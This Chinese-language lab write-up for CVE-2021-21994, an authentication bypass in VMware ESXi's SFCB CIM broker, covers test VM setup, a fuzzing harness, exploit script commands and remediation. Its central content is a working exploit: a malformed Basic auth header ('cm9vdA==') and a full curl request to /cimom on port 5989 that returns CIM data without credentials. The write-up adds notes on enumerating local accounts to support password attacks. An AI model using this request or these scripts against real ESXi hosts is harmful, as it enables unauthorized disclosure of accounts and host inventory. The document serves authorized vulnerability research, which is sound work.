CVE-2021-21994 — VMware ESXi SFCB 身份验证绕过 — 实验研究套件

参考资料： NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB

由于没有现成 PoC，本套件是一个"自行寻找"的测试框架：sfcb_probe.py 先验证一个 oracle（check），然后向 /cimom 投掷一个定向变异字典（fuzz）， 并在没有有效凭据的情况下标记任何返回 200 且带 CIM 响应体的结果。

仅可对您自己的实验 VM 或明确处于授权测试范围内的目标使用。

1. 实验环境搭建（匹配目标：ESXi 6.5）

1. 获取 ESXi 6.5 ISO（任何 2021 年 7 月之前的构建均可；最好与目标相同的 6.5.0 构建类别）：
   • Broadcom 支持门户（免费账户）→ VMware vSphere Hypervisor 6.5 下载
   • HPE / Dell 的"定制 ESXi 6.5 镜像"下载在其支持站点上是公开的
2. 嵌套 VM 运行于 VMware Workstation/Fusion（或 KVM）：
   • 在该 VM 上启用 "Virtualize Intel VT-x/EPT"
   • 2 vCPU、6 GB 内存、精简磁盘；安装程序使用 E1000 网卡
   • 以评估模式安装 — 实验室环境无需许可证密钥
3. 启用 CIM broker 及其防火墙规则集（DCUI → Troubleshooting → 启用 ESXi Shell/SSH，然后通过 SSH 执行）：
   root@kitploit:~

   /etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
   esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
   esxcli network firewall ruleset list | grep -i cim
   esxcli network ip connection list | grep 5989   # 必须处于 LISTEN 状态
   

4. 对 VM 拍摄快照（保留干净状态以便重新测试）。

2. 运行测试框架

# 先建立 oracle（需要一个真实的本地 ESXi 账户，例如 root）
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'

# 预期输出：no-auth -> 401, bogus -> 401, valid -> 200
# 然后进行 fuzz（仅使用伪造/无凭据，绝不使用您的真实凭据）：
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/

2b. 发现结果（实验室 + 目标 ESXi 6.5，确认于 2026-08-15）

已找到绕过方法。根本原因：当 Basic 认证令牌无法解码为包含 : 的 user:password 对时，sfcbd 会跳过 OPEN 认证。

最小 PoC 请求头（root 的 base64，无冒号）：

Authorization: Basic cm9vdA==

来自 fuzz 运行的证据矩阵：

返回 200 的响应携带在 CIMOM 内部派发的 CIM-XML 信封 （例如 ERROR CODE="5" Class not found），证明已通过 HTTP 认证层 — 而相同请求若不携带该畸形请求头则返回 401。

漏洞利用用法：

python3 sfcb_exploit.py verify    192.168.x.x          # oracle 证明，打印 VULNERABLE
python3 sfcb_exploit.py classes   192.168.x.x          # 转储某个命名空间的类名
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem

用于报告截图的 curl 单行命令：

curl -sk -X POST "https://192.168.x.x:5989/cimom" \
  -H 'Content-Type: application/xml; charset=utf-8' \
  -H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
  -H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
  -d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'

影响：对 CIM broker 的未认证读取访问：

• 账户枚举：VMware_Identity 实例会泄露所有 ESXi 本地账户 （在实验室 6.5 上观察到：root、dcui、vpxuser — 由 vCenter 管理的主机 — 以及自定义用户），从而支持定向密码攻击。
• 通过 436 个暴露的类获取完整的主机/硬件清单（计算机系统、处理器、内存、 存储/数据存储、网络端点、固件/BIOS 版本、传感器、已安装软件标识）。
• 无写入路径：RBAC 服务（VMware_RoleBasedAuthorizationService、 CIM_PrivilegeManagementService）声明了 DMTF 配置文件方法 （AssignRoles、AssignAccess 等），但不暴露任何实例 — 这些方法仅存在于 schema 中。通过 CIM 创建/修改账户在此 CVE 下不可行； 影响上限为未认证的信息泄露。

判定结果：

• BYPASS-STRONG — 在无有效凭据的情况下返回 HTTP 200 + CIM-XML 响应体 → 您已找到绕过方法；转储的请求即为您的漏洞利用原语。
• bypass-weak(200-no-cim-body) — 返回 200 但无 CIM 响应体；请检查转储内容。
• blocked / info(400) — 被拒绝。注意：400 通常意味着请求在认证被评估之前 就已失败 — 仍有研究价值，但不构成绕过。

关于手工构造 CIM 响应体的说明：根据 DSP0200，EnumerateInstanceNames 要求 提供 ClassName IPARAMVALUE。缺少该参数的响应体可能因与认证无关的原因而被拒绝， 从而污染 oracle — 本测试框架始终发送符合规范的响应体。

3. 若字典未命中时的路线图

该 fuzzer 覆盖了经典的 HTTP 认证解析器混淆形态。如果均未命中， 剩余（且最终）的路径是二进制差异对比：

1. 从 VMware 的公共 depot 索引拉取易受攻击构建（例如 6.5.0 GA 类）的 esx-base VIB 以及已应用 VMSA-2021-0014 补丁的 6.5/6.7/7.0 构建： https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml
2. 解压两个 VIB（它们是 ar 归档 → vib 载荷 → cpio），使用 Ghidra + BinDiff 对 sfcbd* 二进制文件进行差异对比。
3. 重点关注 HTTP 请求头解析 / Basic 认证解码 / 认证提供方派发逻辑。 上游开源 SFCB（SourceForge 上的 SBLIM sfcb）对 HTTP+认证代码路径是 有用的结构参考，尽管 ESXi 的分支经过修改。
4. 将修复后的代码路径转换为精确的构造请求，将其加入测试框架， 在实验室 VM 上验证 — 这才是真正的漏洞利用。

4. 报告的操作性说明

• 仅凭 oracle（未认证 → 401）本身已是对加固有用的发现： 5989 端口绝不应暴露到互联网。
• 若确认存在漏洞，修复措施：应用 VMSA-2021-0014+ 补丁（ESXi 6.5 已 EOL — 建议迁移）或通过防火墙封锁 5989 端口。